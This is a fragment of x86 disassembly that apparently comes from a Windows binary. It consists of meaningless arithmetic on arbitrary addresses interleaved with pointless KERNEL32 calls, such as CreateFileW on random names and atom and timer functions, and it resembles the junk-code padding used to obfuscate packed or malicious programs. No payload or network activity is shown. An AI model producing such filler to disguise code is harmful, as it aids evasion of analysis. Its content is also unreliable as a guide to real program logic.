mov eax, dword [edx]
xor eax, dword [ebp - 0x2fec]
mov ecx, dword [ebp - 0x52a8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4d58]
mov eax, dword [0x100bb11c]
add eax, dword [edx]
mov dword [0x100bb18c], eax
push 0x2f49
push 0x1a28
push 0x115a
push 0xb85
mov ecx, dword [0x100bbd08]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100bc144], eax
mov dl, byte [ebp - 0x2b5]
mov byte [ebp - 0x33c], dl
movsx eax, word [ebp - 0x10f8]
mov ecx, dword [0x100baf04]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0xb9c], ax
lea eax, [ebp - 0x87]
mov dword [0x100bc148], eax
mov cx, word [ebp - 0x1324]
mov word [ebp - 0x1960], cx
push 0x357
push 0
lea edx, [ebp - 0x48c0]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x5610], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bc14c], eax
push str.GEiGb65
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1964], ax
movzx eax, word [0x100bb53c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc150], ax
mov ecx, dword [0x100bb088]
mov edx, dword [ebp - 0x5540]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x2d24], eax
mov ecx, dword [ebp - 0x4268]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x306c]
mov eax, dword [0x100bb754]
mov dword [eax], edx
mov ecx, dword [ebp - 0x46b8]
movzx edx, byte [ecx]
mov eax, dword [0x100bae38]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x3618]
mov byte [eax], dl
movsx edx, byte [ebp - 0x2a9]
mov eax, dword [0x100bafac]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x29b], dl
mov ecx, dword [ebp - 0x53ac]
movsx edx, word [ecx]
movsx eax, word [0x100ba4e0]
or edx, eax
mov ecx, dword [0x100baf04]
mov word [ecx], dx
lea edx, [ebp - 0x152c]
mov dword [ebp - 0x5614], edx
mov eax, dword [ebp - 0x46ec]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2c58]
mov dword [ebp - 0x35e0], ecx
mov edx, dword [ebp - 0x4c34]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x41e8], eax
mov dword [0x100bc154], 0x100b728e
push 0x100ba1f8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, byte [ebp - 0x11b]
mov byte [ebp - 0x33d], al
lea ecx, [ebp - 0x3188]
mov dword [ebp - 0x5618], ecx
movzx edx, word [ebp - 0x9d0]
movzx eax, word [ebp - 0x694]
and edx, eax
mov word [0x100b747c], dx
push 0
push 2
push 1
push 0
push 8
push 0x40000000
push str.uAsw6ZiPu5BamxK
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x561c], eax
movsx ecx, word [ebp - 0x5e0]
movsx edx, word [ebp - 0xd64]
imul ecx, edx
mov eax, dword [ebp - 0x51dc]
mov word [eax], cx
movzx ecx, word [0x100ba3bc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc158], ax
mov edx, dword [ebp - 0x3b98]
mov eax, dword [ebp - 0x3ad8]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x2c84], ecx
push 0
push 0x10
push 2
push 0
push 4
push 0x40000000
push str.Fb1w_a08l40mCKFsA66t7
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5620], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb534], eax
movsx edx, byte [ebp - 0x320]
movsx ecx, byte [0x100b8302]
sar edx, cl
mov byte [0x100b73a2], dl
movzx eax, word [ebp - 0x18bc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc15c], ax
movzx ecx, word [ebp - 0x116c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc160], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x5624], eax
movzx edx, byte [ebp - 0xdb]
movzx eax, byte [ebp - 0x128]
xor edx, eax
mov byte [ebp - 0x30a], dl
movzx edx, word [ebp - 0x6a0]
mov eax, dword [ebp - 0x4b70]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3850]
mov word [ecx], dx
movzx edx, word [0x100bb3bc]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1608], ax
movzx eax, word [ebp - 0x1090]
movzx ecx, word [ebp - 0xb94]
add eax, ecx
mov word [0x100b7380], ax
mov edx, dword [0x100ba56c]
and edx, dword [ebp - 0x2ee0]
mov dword [ebp - 0x3114], edx
lea eax, [ebp - 0x1654]
mov dword [ebp - 0x5628], eax
push 0
push 0x40
push 0
push 0
push 1
push 0xc0000000
push str.rgJ7cI69CcFkv
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc164], eax
lea ecx, [ebp - 0xa0d8]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [ebp - 0x2b90]
mov dword [0x100bc168], edx
movsx eax, byte [ebp - 0x2fb]
mov ecx, dword [ebp - 0x3690]
movsx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x4aa0]
mov byte [ecx], al
push 0xfa
push 0x88e
push 0x2411
push 0x23f2
mov edx, dword [0x100bbfa0]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x4b94], eax
push 0x100bc16c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x4c5c]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x4d88]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b72c7], dl
lea ecx, [ebp - 0xa0f0]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [ebp - 0x44a0]
mov ax, word [edx]
mov word [ebp - 0x1968], ax
mov ecx, dword [ebp - 0x3ed4]
mov edx, dword [0x100bb69c]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x3768], eax
lea ecx, [ebp - 0xb680]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x3aac]
mov eax, dword [ebp - 0x4ca8]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [0x100b74fc], ecx
movsx edx, word [ebp - 0x1338]
movsx eax, word [ebp - 0x1568]
sub edx, eax
mov word [ebp - 0xf24], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbd10], eax
movzx ecx, word [0x100b94ec]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x116c], ax
movsx edx, byte [ebp - 0x2ca]
mov eax, dword [0x100bc114]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x229], dl
lea ecx, [ebp - 0x303]
mov dword [0x100bc190], ecx
movsx edx, byte [ebp - 0x73]
movsx eax, byte [0x100b722b]
xor edx, eax
mov ecx, dword [ebp - 0x4b50]
mov byte [ecx], dl
lea edx, [ebp - 0x3f74]
mov dword [ebp - 0x562c], edx
mov eax, dword [0x100b9ab8]
movzx ecx, word [eax]
movzx edx, word [0x100ba968]
or ecx, edx
mov word [0x100ba044], cx
movsx eax, word [ebp - 0x1214]
mov ecx, dword [0x100bacb4]
movsx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x4078]
mov word [edx], ax
push 0x100bc194
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3c80], eax
lea eax, [ebp - 0x4714]
mov dword [ebp - 0x5630], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x5634], eax
mov ecx, dword [ebp - 0x45ec]
movzx edx, byte [ecx]
mov eax, dword [0x100bb248]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x100b72ee], dl
mov edx, dword [ebp - 0x3a38]
movsx eax, byte [edx]
mov ecx, dword [0x100ba124]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x2cb], al
mov eax, dword [0x100ba9b0]
mov dword [ebp - 0x5638], eax
lea ecx, [ebp - 0x1860]
mov dword [0x100bc1ac], ecx
mov edx, dword [ebp - 0x534c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xbe8]
xor eax, ecx
mov word [ebp - 0xb2c], ax
mov edx, dword [0x100bc1ac]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x5544]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x5198]
mov word [edx], ax
push 0x100bae00
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, byte [0x100b7e57]
movzx ecx, byte [ebp - 0x2f6]
xor eax, ecx
mov edx, dword [0x100bb4c4]
mov byte [edx], al
mov eax, dword [ebp - 0x3fdc]
add eax, dword [ebp - 0x2ccc]
mov dword [ebp - 0x3a88], eax
mov ecx, dword [ebp - 0x30b8]
mov dword [ebp - 0x563c], ecx
push 0
push 2
push 1
push 0
push 4
push 0x40000000
push str.eoIBTWV1_rxA_a5Haa
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5640], eax
mov dword [0x100bc1b0], 0x100b71d2
push 0
push 0x200
push 2
push 0
push 2
push 0x80000000
push str.UE8PppnoHK2QKDOrg5jqP
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc1b4], eax
mov edx, dword [ebp - 0x3818]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x40c8]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x1430], ax
mov dx, word [0x100b7464]
mov word [ebp - 0x196c], dx
mov eax, dword [ebp - 0x44e8]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3b88]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [0x100baa50]
mov byte [edx], cl
lea eax, [ebp - 0x9bb0]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ecx, byte [0x100b7227]
mov edx, dword [ebp - 0x54e4]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x4cc8]
mov byte [edx], cl
lea eax, [ebp - 0x52f8]
mov dword [ebp - 0x5644], eax
mov ecx, dword [0x100b72f8]
mov dword [0x100bc1b8], ecx
movsx edx, byte [ebp - 0x29b]
movsx eax, byte [ebp - 0x267]
xor edx, eax
mov byte [ebp - 9], dl
movzx eax, word [0x100ba044]
movzx ecx, word [ebp - 0x654]
cdq
idiv ecx
mov edx, dword [ebp - 0x3868]
mov word [edx], ax
mov eax, dword [0x100bb86c]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x5648], eax
push 0
push 8
push 2
push 0
push 8
push 0x80000000
push str.rzI4CnWCTDpLln4i6
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc1bc], eax
lea ecx, [ebp - 0xce8]
mov dword [0x100bc1c0], ecx
mov dword [ebp - 0x564c], 0x100b7dff
mov edx, dword [ebp - 0x4658]
mov eax, dword [ebp - 0x2d68]
sub eax, dword [edx]
mov dword [ebp - 0x41b0], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x36a0], eax
movzx edx, word [0x100b9b9c]
movzx ecx, word [ebp - 0x178c]
shl edx, cl
mov eax, dword [0x100b99d8]
mov word [eax], dx
push str.GqF4a46xPa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc1c4], ax
mov ecx, dword [ebp - 0x4330]
mov edx, dword [0x100b748c]
add edx, dword [ecx]
mov dword [ebp - 0x3968], edx
mov al, byte [ebp - 0xb5]
mov byte [ebp - 0x33e], al
movsx edx, word [str.Q_a_W3k]
mov eax, dword [ebp - 0x49e8]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [0x100b9558]
mov word [ecx], dx
mov edx, dword [ebp - 0x36f4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4e04]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0xf4], al
mov eax, dword [ebp - 0x5254]
mov ecx, dword [ebp - 0x49e4]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x5354], edx
push 0x344
push 0
push 0x100bbde8
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x5650], eax
mov eax, dword [ebp - 0x5498]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bc1c8], eax
mov dword [0x100bc1cc], 0x100b85c3
mov ecx, dword [ebp - 0x3fe8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x36c8]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x4da0]
mov word [eax], dx
push 0x1cca
push 0
lea ecx, [ebp - 0x5548]
push ecx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bbd4c], eax
mov dx, word [0x100b71f4]
mov word [ebp - 0x1970], dx
lea eax, [ebp - 0x2af0]
mov dword [0x100bc1d0], eax
mov dword [ebp - 0x5654], 0x100bbc68
mov ecx, dword [0x100babcc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x390c]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3ee0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x4754]
mov edx, dword [ebp - 0x2d38]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [0x100bb58c]
mov dword [eax], edx
lea ecx, [ebp - 0x2fe]
mov dword [ebp - 0x5658], ecx
movzx edx, word [0x100bc0cc]
movzx eax, word [ebp - 0x1244]
and edx, eax
mov ecx, dword [ebp - 0x55e4]
mov word [ecx], dx
push str.PPe8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1974], ax
lea edx, [ebp - 0x57c]
mov dword [0x100bc1d4], edx
mov eax, dword [ebp - 0x403c]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x44b8]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x138], dl
push 0x100bc1d8
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [0x100bc0a8]
mov edx, dword [ecx]
imul edx, dword [ebp - 0x2d14]
mov dword [0x100bad50], edx
movsx eax, word [0x100bb784]
movsx ecx, word [ebp - 0x10a4]
xor eax, ecx
mov word [ebp - 0xb58], ax
mov dword [ebp - 0x565c], 0x100b8343
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x5660], eax
mov edx, dword [0x100ba010]
mov eax, dword [ebp - 0x3dc4]
add eax, dword [edx]
mov ecx, dword [0x100ba0b8]
mov dword [ecx], eax
push 2
lea edx, [ebp - 0x9874]
push edx
mov eax, dword [ebp - 0x9890]
push eax
mov ecx, dword [ebp - 0x9894]
push ecx
mov edx, dword [0x100bbfa0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba63c], eax
movzx eax, word [ebp - 0x1040]
movzx ecx, word [ebp - 0x1780]
or eax, ecx
mov word [ebp - 0x17dc], ax
push 0
push 0x400
push 5
push 0
push 4
push 0xc0000000
push str.NHG7TFS0glkoh1mvVz8hKc7dadb4H1sgeoXZM
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc1fc], eax
lea edx, [ebp - 0x2db0]
mov dword [ebp - 0x5664], edx
lea eax, [ebp - 0x1730]
mov dword [0x100bc200], eax
mov ecx, dword [ebp - 0x4268]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2ce8]
mov dword [ebp - 0x5134], edx
mov eax, dword [0x100bb920]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x5668], eax
mov ecx, dword [ebp - 0x52f4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x231]
sub edx, eax
mov byte [ebp - 0x2af], dl
lea ecx, [ebp - 0x339]
mov dword [0x100bc204], ecx
mov edx, dword [0x100ba034]
mov al, byte [edx]
mov byte [ebp - 0x33f], al
movzx ecx, word [ebp - 0x11d0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc208], ax
push 0x3b6e
push 0x143c
push 0xa07
push 0x358e
mov edx, dword [ebp - 0x3c50]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100bc20c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x566c], eax
lea eax, [ebp - 0x3088]
mov dword [ebp - 0x5670], eax
mov ecx, dword [ebp - 0x4a5c]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x337]
shl edx, cl
mov eax, dword [0x100bb4c4]
mov byte [eax], dl
movsx edx, word [ebp - 0x698]
movsx ecx, word [ebp - 0x16c8]
sar edx, cl
mov word [ebp - 0x1754], dx
push 0x100ba6ac
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp - 0x4a70]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x10b8]
xor ecx, edx
mov word [ebp - 0xe2c], cx
mov eax, dword [0x100bbd64]
mov ecx, dword [ebp - 0x46b0]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [0x100b98e8]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x15e]
mov edx, dword [0x100b9c78]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x65], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4830], eax
lea ecx, [ebp - 0x4384]
mov dword [ebp - 0x5674], ecx
push 0x100bab88
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x4848]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 3]
xor eax, ecx
mov byte [0x100b73a3], al
mov edx, dword [ebp - 0x5228]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4490]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x4660]
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bc210], eax
movsx edx, word [ebp - 0x1140]
movsx ecx, word [ebp - 0x1270]
shl edx, cl
mov word [ebp - 0x1000], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x5678], eax
movsx eax, byte [ebp - 0x2a4]
mov ecx, dword [0x100ba714]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [0x100bb66c]
mov byte [edx], al
mov eax, dword [ebp - 0x4f74]
movzx ecx, word [eax]
mov edx, dword [0x100bc094]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x1364], cx
mov ecx, dword [ebp - 0x4fd0]
mov dword [ebp - 0x567c], ecx
push 0
push 0x20
push 5
push 0
push 2
push 0xc0000000
push str.C6NpEH
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc214], eax
movzx edx, word [ebp - 0x1674]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1978], ax
mov dword [0x100bc218], 0x100bbf5c
mov eax, dword [ebp - 0x398c]
movzx ecx, byte [eax]
mov edx, dword [0x100bb460]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x297], cl
lea ecx, [ebp - 0x1504]
mov dword [ebp - 0x5680], ecx
lea edx, [ebp - 0x2d5]
mov dword [0x100bc21c], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbaa4], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbdf0], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x33a8], eax
push str.i5UE
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc220], ax
push str.ECL0TDLV.JKA8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x197c], ax
push 0x100b9b78
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [0x100b71f4]
imul ecx, eax, 0xe8d
mov edx, dword [ebp - 0x5308]
mov word [edx], cx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x5684], eax
mov dword [ebp - 0x5688], 0x100b734c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bc224], eax
mov eax, dword [ebp - 0x3134]
xor eax, dword [0x100bb480]
mov dword [0x100b9540], eax
push 2
push 0x100bb5c8
mov ecx, dword [ebp - 0x9920]
push ecx
mov edx, dword [ebp - 0x9924]
push edx
mov eax, dword [ebp - 0x4838]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bc228], eax
lea ecx, [ebp - 0xa0a8]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx edx, byte [ebp - 0x9e]
movzx eax, byte [ebp - 0x226]
add edx, eax
mov byte [ebp - 0x256], dl
mov ecx, dword [ebp - 0x3c40]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4458]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x189], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x44ec], eax
mov edx, dword [ebp - 0x47f0]
mov ax, word [edx]
mov word [0x100bc22c], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbafc], eax
push str.mSKgM_msf.oucW
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1980], ax
mov ecx, dword [ebp - 0x43bc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3b5c]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x4ff4]
mov word [eax], dx
movzx ecx, word [0x100bb6a0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc230], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x568c], eax
push str.BiSpcO_B0o38E
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc158], ax
mov edx, dword [ebp - 0x43f8]
mov eax, dword [edx]
mov dword [ebp - 0x5690], eax
mov ecx, dword [ebp - 0x35c4]
movsx edx, byte [ecx]
mov eax, dword [0x100b9f08]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100bbd88]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4f8c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5214]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x2b1], al
mov edx, dword [ebp - 0x4de4]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 0x4cec]
and eax, dword [0x100b7390]
mov ecx, dword [ebp - 0x4250]
mov dword [ecx], eax
movzx edx, word [0x100b979c]
imul eax, edx, 0x867
mov word [0x100b7500], ax
movsx ecx, word [0x100b7460]
mov edx, dword [ebp - 0x3ecc]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x7fc], cx
lea ecx, [ebp - 0x4494]
mov dword [ebp - 0x5694], ecx
mov edx, dword [ebp - 0x3f90]
movsx eax, byte [edx]
mov ecx, dword [0x100bb66c]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100b9b24]
mov byte [ecx], al
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bc234], eax
mov edx, dword [ebp - 0x4f18]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x197]
and eax, ecx
mov edx, dword [ebp - 0x4028]
mov byte [edx], al
lea eax, [ebp - 0xb6a4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [ebp - 0x1158]
mov eax, dword [ebp - 0x550c]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4bf0]
mov word [ecx], dx
mov dword [0x100bc238], 0x100bb1b8
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba194], eax
lea edx, [ebp - 0x31f0]
mov dword [ebp - 0x5698], edx
lea eax, [ebp - 0xb1dc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov cx, word [ebp - 0x17a4]
mov word [ebp - 0x1984], cx
movzx edx, word [ebp - 0x11fc]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc23c], ax
mov eax, dword [ebp - 0x5338]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x3058]
shl edx, cl
mov eax, dword [0x100bbcd4]
mov dword [eax], edx
mov ecx, dword [0x100bae3c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x52ec]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x177], dl
mov edx, dword [ebp - 0x38fc]
movzx eax, byte [edx]
mov ecx, dword [0x100babf0]
movzx edx, byte [ecx]
add eax, edx
mov byte [0x100b8572], al
mov eax, dword [ebp - 0x47c0]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xd10]
and ecx, edx
mov word [ebp - 0xea0], cx
mov eax, dword [ebp - 0x3fd8]
mov ecx, dword [eax]
mov dword [ebp - 0x569c], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba568], eax
mov edx, dword [0x100badd4]
mov dword [0x100bc240], edx
mov eax, dword [ebp - 0x4ce8]
movsx edx, word [eax]
mov eax, dword [0x100ba808]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x5e0], dx
mov ecx, dword [0x100bb66c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x271]
xor edx, eax
mov byte [ebp - 0xc7], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x56a0], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bc244], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x56a4], eax
push 0x100bc248
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0x4994]
movzx edx, byte [ecx]
movzx eax, byte [0x100b8516]
sub edx, eax
mov ecx, dword [0x100ba474]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3b08], eax
lea edx, [ebp - 0x28f]
mov dword [ebp - 0x56a8], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4fa8], eax
mov eax, dword [ebp - 0x5254]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x317c]
shl edx, cl
mov eax, dword [ebp - 0x4dc8]
mov dword [eax], edx
mov cx, word [0x100ba634]
mov word [0x100bc260], cx
lea edx, [ebp - 0x1730]
mov dword [ebp - 0x56ac], edx
mov eax, dword [ebp - 0x5244]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2df8]
mov dword [ebp - 0x2af4], ecx
mov edx, dword [0x100b9838]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [ebp - 0x21c]
movzx ecx, byte [ebp - 0x99]
add eax, ecx
mov edx, dword [0x100ba3f8]
mov byte [edx], al
mov eax, dword [0x100bbbe8]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1f2]
and ecx, edx
mov byte [ebp - 0x221], cl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb3c0], eax
lea eax, [ebp - 0xb6c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [0x100bb828]
xor ecx, dword [ebp - 0x2e9c]
mov dword [ebp - 0x2b3c], ecx
mov edx, dword [0x100bbca4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xd50]
sar eax, cl
mov word [0x100b7504], ax
movsx edx, word [0x100b95ec]
mov eax, dword [ebp - 0x4fe0]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x46d8]
mov word [ecx], dx
mov edx, dword [0x100bb120]
mov ax, word [edx]
mov word [ebp - 0x1988], ax
lea ecx, [ebp - 0x130]
mov dword [0x100bc264], ecx
lea edx, [ebp - 0x5134]
mov dword [ebp - 0x56b0], edx
mov eax, dword [ebp - 0x55b8]
add eax, dword [ebp - 0x3068]
mov dword [ebp - 0x2d08], eax
mov ecx, dword [ebp - 0x4d1c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x32c]
and edx, eax
mov byte [0x100b722a], dl
movzx ecx, word [ebp - 0xfb0]
movzx edx, word [ebp - 0x8e4]
or ecx, edx
mov word [ebp - 0x1280], cx
mov eax, dword [ebp - 0x4c98]
movsx edx, word [eax]
mov eax, dword [ebp - 0x3a78]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xdd0], dx
mov ecx, dword [ebp - 0x4f14]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x41b8]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b801b], dl
mov edx, dword [0x100bb79c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x55f8]
movzx edx, byte [ecx]
